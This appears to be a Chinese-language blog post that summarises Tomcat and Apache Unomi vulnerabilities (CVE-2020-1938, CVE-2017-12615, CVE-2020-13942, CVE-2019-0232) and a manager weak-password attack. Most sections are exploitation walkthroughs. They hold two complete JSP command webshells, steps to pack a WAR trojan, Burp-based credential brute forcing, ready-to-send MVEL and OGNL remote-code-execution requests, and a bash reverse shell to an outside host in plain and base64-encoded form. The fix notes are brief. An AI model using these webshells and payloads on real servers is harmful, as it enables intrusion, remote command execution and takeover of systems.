Tomcat常見的漏洞總結
Tomcat常見漏洞
Tomcat是Apache 軟件基金會(Apache Software Foundation)的Jakarta 項目中的一個核心項目,由Apache、Sun 和其他一些公司及個人共同開發(fā)而成。由于有了Sun 的參與和支持,最新的Servlet 和JSP 規(guī)范總是能在Tomcat 中得到體現,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 規(guī)范。因為Tomcat 技術先進、性能穩(wěn)定,而且免費,因而深受Java 愛好者的喜愛并得到了部分軟件開發(fā)商的認可,成為目前比較流行的Web 應用服務器Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬于輕量級應用服務器,在中小型系統(tǒng)和并發(fā)訪問用戶不是很多的場合下被普遍使用,是開發(fā)和調試JSP 程序的首選。對于一個初學者來說,可以這樣認為,當在一臺機器上配置好Apache 服務器,可利用它響應HTML(標準通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當你運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的
漏洞匯總

CVE-2020-1938文件包含漏洞
漏洞描述
? 該漏洞是由于Tomcat AJP協議存在缺陷而導致,攻擊者利用該漏洞可通過構造特定參數,讀取服務器webapp下的任意文件,如:webapp配置文件或源代碼等。若目標服務器同時存在文件上傳功能,攻擊者可進一步實現遠程代碼執(zhí)行。
漏洞影響版本
Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31
不受影響版本
Apache Tomcat = 7.0.100Apache Tomcat = 8.5.51Apache Tomcat = 9.0.31
漏洞分析
? Tomcat在處理ajp協議時存在漏洞,可通過調用request.setAttribute為Tomcat設置任意request屬性。復現發(fā)現Tomcat ajp協議存在web目錄下任意文件讀取漏洞以及JSP文件包含漏洞。
? 當ajp URI設置為非jsp路徑時,Tomcat會調用DefaultServlet處理,此時會導致web目錄任意文件讀取漏洞。
? 當ajp URI設置為jsp路徑時,Tomcat會調用JspServlet處理,此時會導致JSP文件包含漏洞
漏洞復現

1.使用nmap掃描目標是否開啟了8009端口

2.使用poc掃描目標網站
下載地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
這里是讀取ROOT路徑下的web.xml (默認為ROOT)
如果想換路徑可以更改POC源碼里的/的位置更換成想要查詢的目錄(只能在webapps下)比如examples

防御方式
? 1.禁用AJP協議,在tomcat安裝路徑中找到/conf/server.xml文件,刪除或注釋下面這行代碼:<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
? 2.升級到tomcat最新版本
?3.配置secret來設置AJP協議的認證憑證,如:<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
Tomcat后臺弱口令漏洞
Tomcat后臺存在弱口令,進入網站后點擊登錄然后使用burp進行爆破測試


????可以發(fā)現賬戶密碼是利用Authorization該授權字段以base64方式傳遞賬戶信息的
????發(fā)現加密方式后,拿去解密后發(fā)現他的數據傳輸是將賬戶與密碼用冒號進行組合之后在用base64加密所傳遞的。構造字段進行爆破
????使用burp抓包后發(fā)送到 Intrude 模塊進行暴力破解

????通過上面的驗證得到tomat數據傳遞格式為 username:password ,使用burp模糊測試模塊中的 custom iteactor 自定義迭代類型的payload,該類型的payload共分為8個占位符,每一個占位符又可以指定簡單列表的payload類型。再根據占位的數值,于每一個payload列表區(qū)進行笛卡爾積生成集合組
????簡單理解就是: 設置占位符,利用數學中的笛卡爾積進行集合,去拼湊各種可能存在的payload可能列表
????設置格式如下:

????按照payload類型進行設置Position參數,比如我們要爆破Tomcat數據。設置第一個Position參數就是username參數,然后再進行添加paylaod字典。依次類推第二個參數就是冒號 : ,第三個就是password字段。設置完成后再對數據字段進行base64編碼就可以進行爆破。設置方法如下:

????以上就是tomcat基礎認證爆破,當然我們還可以去自己收集匹配號的三個字段字典或者base64加密過的字典以及metasploit中的tomcat爆破,更加方便進行爆破

????成功爆破出賬號密碼,然后使用base64解碼得出明文賬號密碼
????使用爆破出的賬號密碼登錄進去后臺后發(fā)現有一個上傳頁面,直接上傳一個war木馬就可以

war木馬的制作過程
1.找到一個jsp的木馬
<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>
2.將sp木馬放入 jdk1.8.0_73bin 目錄下,然后在cmd輸出已下命令(注意是必須在java環(huán)境下的,必須使用管理員權限的)
jar cvf +部署的war木馬 +自己bin目錄下的jsp木馬
木馬制作成功
上傳制作的war木馬

可以看到已經成功上傳了木馬

訪問上傳的1.jsp目錄然后就可以執(zhí)行我們想要執(zhí)行的系統(tǒng)命令

CVE-2017-12615Tomcat遠程代碼執(zhí)行漏洞(PUT請求)
漏洞介紹
????遠程代碼執(zhí)行漏洞(CVE-2017-12615) 影響:Apache Tomcat 7.0.0 - 7.0.79(7.0.81修復不完全)當 Tomcat 運行在 Windows 主機上,且啟用了 HTTP PUT 請求方法,攻擊者通過構造的攻擊請求向服務器上傳包含任意代碼的 JSP 文件,造成任意代碼執(zhí)行,危害十分嚴重
影響版本
????Apache Tomcat 7.0.0 - 7.0.81
漏洞利用前提:
????需Tomcat開啟了HTTP PUT請求
漏洞原理分析
????Tomcat 的 Servlet 是在 conf/web.xml 配置的,通過配置文件可知,當后綴名為 .jsp 和 .jspx 的時候,是通過 JspServlet 處理請求的:而其他的靜態(tài)文件是通過 DefaultServlet 處理的:可以得知,“1.jsp ”(末尾有一個和空格)并不能匹配到 JspServlet,而是會交由 DefaultServlet 去處理。
????當處理 PUT 請求時:會調用 resources.bind:dirContext 為 FileDirContext:調用 rebind 創(chuàng)建文件:又由于 Windows 不允許“ ”作為文件名結尾,所以會創(chuàng)建一個 .jsp 文件,導致代碼執(zhí)行。
環(huán)境搭建
????下載Tomcat,安裝成功后,需要開啟HTTP PUT請求,首先打開Tomcat目錄,找到配置文件

????打開之后,尋找readonly ,如圖,他被禁用了,禁止PUT上傳:

????找到 org.apache.catalina.servlets.DefaultServlet 方法,并添加以下命令,添加成功后重啟一下即可
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>

漏洞復現
1.使用burp進行抓包,將請求包發(fā)送到repeater模塊中,將GET請求方法改為OPTIONS,查看請求方法

2.發(fā)現啟用了PUT方法,使用PUT請求上傳jsp木馬
jsp馬:<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(newInputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

3.頁面狀態(tài)碼返回201,表示木馬寫入成功
4.到頁面中訪問(ip+1.jsp) url:?http://219.153.49.228:47195/shell.jsp?cmd=ls%20/&pwd=023

5.該漏洞實際上是利用了window下文件名解析的漏洞來觸發(fā)的。通過構造特殊后綴名,繞過Tomcat檢測,讓Tomcat用DefaultServlet的邏輯處理請求,從而上傳jsp webshell文件
有三種方法可以進行繞過
1 shell.jsp%20
2 shell.jsp::$DATA
3 shell.jsp/
CVE-2020-13942 Apache Unomi 遠程代碼執(zhí)行漏洞
Apache Unomi簡介
????Apache Unomi 是一個基于標準的客戶/數據平臺(CDP,Customer Data Platform),用于管理在線客戶和訪客等信息,以提供符合訪客隱私規(guī)則的個性化體驗,比如 GDPR 和“不跟蹤”偏好設置。其最初于 Jahia 開發(fā),2015 年 10 月提交給了 Apache 孵化器。
????Apache Unomi 具有隱私管理、用戶/事件/目標跟蹤、報告、訪客資料管理、細分、角色、A/B 測試等功能,它可以作為:
? Web CMS 個性化服務
? 原生移動應用的分析服務
? 具有分段功能的集中配置文件管理系統(tǒng)
? 授權管理中心
漏洞描述
????Apache Unomi 是一個基于標準的客戶數據平臺(CDP,Customer Data Platform),用于管理在線客戶和訪客等信息,以提供符合訪客隱私規(guī)則的個性化體驗,比如 GDPR 和“不跟蹤”偏好設置。其最初于 Jahia 開發(fā),2015 年 10 月 Unomi 成為Apache 軟件基金會項目。在Apache Unomi 1.5.1版本之前,攻擊者可以通過精心構造的MVEL或ONGl表達式來發(fā)送惡意請求,使得Unomi服務器執(zhí)行任意代碼,漏洞對應編號為CVE-2020-11975,而CVE-2020-13942漏洞是對CVE-2020-11975漏洞的補丁繞過,攻擊者繞過補丁檢測的黑名單,發(fā)送惡意請求,在服務器執(zhí)行任意代碼
漏洞影響版本
????Apache Unomi < 1.5.2
環(huán)境搭建
????使用docker一鍵搭建的vulhub靶場,訪問頁面 ip:8181
????通過8181和9443兩個端口都可以觸發(fā)漏洞,本次使用 8181端口進行漏洞復現

漏洞復現
1.打開靶場首頁,使用bp進行抓包,發(fā)送到Repeater模塊構造數據包

2.將GET請求改為POST請求,刪除多余的字段,保留HOST,User-Agent和Content-Length字段,然后添加以下數據,將dnslog換為自己的地址,然后發(fā)送數據包
POST /context.json HTTP/1.1Host: 目標地址:8181User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/86.0.4240.198 Safari/537.36Content-Length: 495{"filters": [{"id": "boom","filters": [{"condition": {"parameterValues": {"test": "script::Runtime r = Runtime.getRuntime(); r.exec(\"pingbr9yb9.dnslog.cn\");"},"type": "profilePropertyCondition"}}]}],"sessionId": "test"}


3.可以使用此漏洞來反彈shell,將bash反彈shell的命令進行編碼,編碼在線地址為?(http://www.jackson-t.ca/runtime-exec-payloads.html)
bash -i >& /dev/tcp/192.168.1.6/4444 0>&1編碼后為bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
4.將編碼后的shell添加到以下poc的執(zhí)行系統(tǒng)命令的地方 ()
POST /context.json HTTP/1.1Host: localhost:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 483{"filters": [{"id": "sample","filters": [{"condition": {"parameterValues": {"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}\");"},"type": "profilePropertyCondition"}}]}],"sessionId": "sample"}

成功反彈shell

上面使用的是通過MVEL表達式執(zhí)行任意命令,以下使用OGNL表達式執(zhí)行任意命令
在漏洞首頁抓取請求包然后發(fā)送到Repeater模塊中構造數據包,構造的poc為
POST /context.json HTTP/1.1Host: localhost:8181Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 1064{"personalizations":[{"id":"gender-test","strategy":"matching-first","strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{?#this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"sample"}

可以看到成功在 /tmp/ 目錄下成功創(chuàng)建了一個文件,也可以利用這個漏洞反彈shell

CVE-2019-0232 Apache Tomcat遠程代碼執(zhí)行漏洞
簡介
????Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬于輕量級應用服務器,在中小型系統(tǒng)和并發(fā)訪問用戶不是很多的場合下被普遍使用,是開發(fā)和調試JSP 程序的首選。對于一個初學者來說,可以這樣認為,當在一臺機器上配置好Apache 服務器,可利用它響應HTML(標準通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當你運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的
漏洞描述
????該漏洞只對Windows平臺有效,攻擊者向CGI Servlet發(fā)送請求,可在具有Apache Tomcat權限的系統(tǒng)上注入和執(zhí)行任意操作系統(tǒng)命令。漏洞成因是當將參數從JRE傳遞到Windows環(huán)境時,由于CGI_Servlet中的輸入驗證錯誤而存在該漏洞。CGI_Servlet默認是關閉的
漏洞影響范圍
Apache Tomcat 9.0.0.M1 ~ 9.0.17Apache Tomcat 8.5.0 ~ 8.5.39Apache Tomcat 7.0.0 ~ 7.0.93
環(huán)境搭建
????環(huán)境:Java8+Apache Tomcat 8.5.39
1.安裝tomcat需要java環(huán)境,jdk下載地址(https://www.oracle.com/java/technologies/javase-downloads.html)
2.下載完后配置環(huán)境變量,輸出java -version驗證是否配置成功

3.安裝tomcat8.5.39版本,下載地址(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/bin/)

4.下載完成后進行解壓然后配置tomcat,打開Tomcat按目錄下的confweb.xml 取消以下兩項的注釋,否則訪問cgi目錄會提示404,默認情況下是注釋的
Web.xml文件?(兩處代碼都需要取消注釋)
<servlet><servlet-name>cgi</servlet-name><servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>cgiPathPrefix</param-name><param-value>WEB-INF/cgi-bin</param-value></init-param><init-param><param-name>executable</param-name><param-value></param-value></init-param><load-on-startup>5</load-on-startup></servlet><!-- The mapping for the CGI Gateway servlet --><servlet-mapping><servlet-name>cgi</servlet-name><url-pattern>/cgi-bin/*</url-pattern></servlet-mapping>
修改在conf/context.xml中的<Context>添加privileged="true"語句

5.在webappsROOTWEB-INF下創(chuàng)建一個cgi-bin文件夾,并在文件夾內創(chuàng)建一個bat文件寫入


6.都配置完成之后進入 bin目錄下運行 startup.bat 啟動tomcat

7.訪問搭建后的頁面,若出現下圖則說明搭建成功

漏洞復現
????1.在瀏覽器訪問,執(zhí)行net user 命令
http://your-ip/cgi-bin/test.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user
????執(zhí)行whoami命令
http://192.168.64.137:8080/cgi-bin/test.bat?c:/windows/system32/whoami.exe
漏洞修復
受影響版本的用戶應該應用下列其中一項緩解。升級到:
Apache Tomcat 9.0.18或更高版本Apache Tomcat 8.5.40或更高版本Apache Tomcat 7.0.93或更高版本
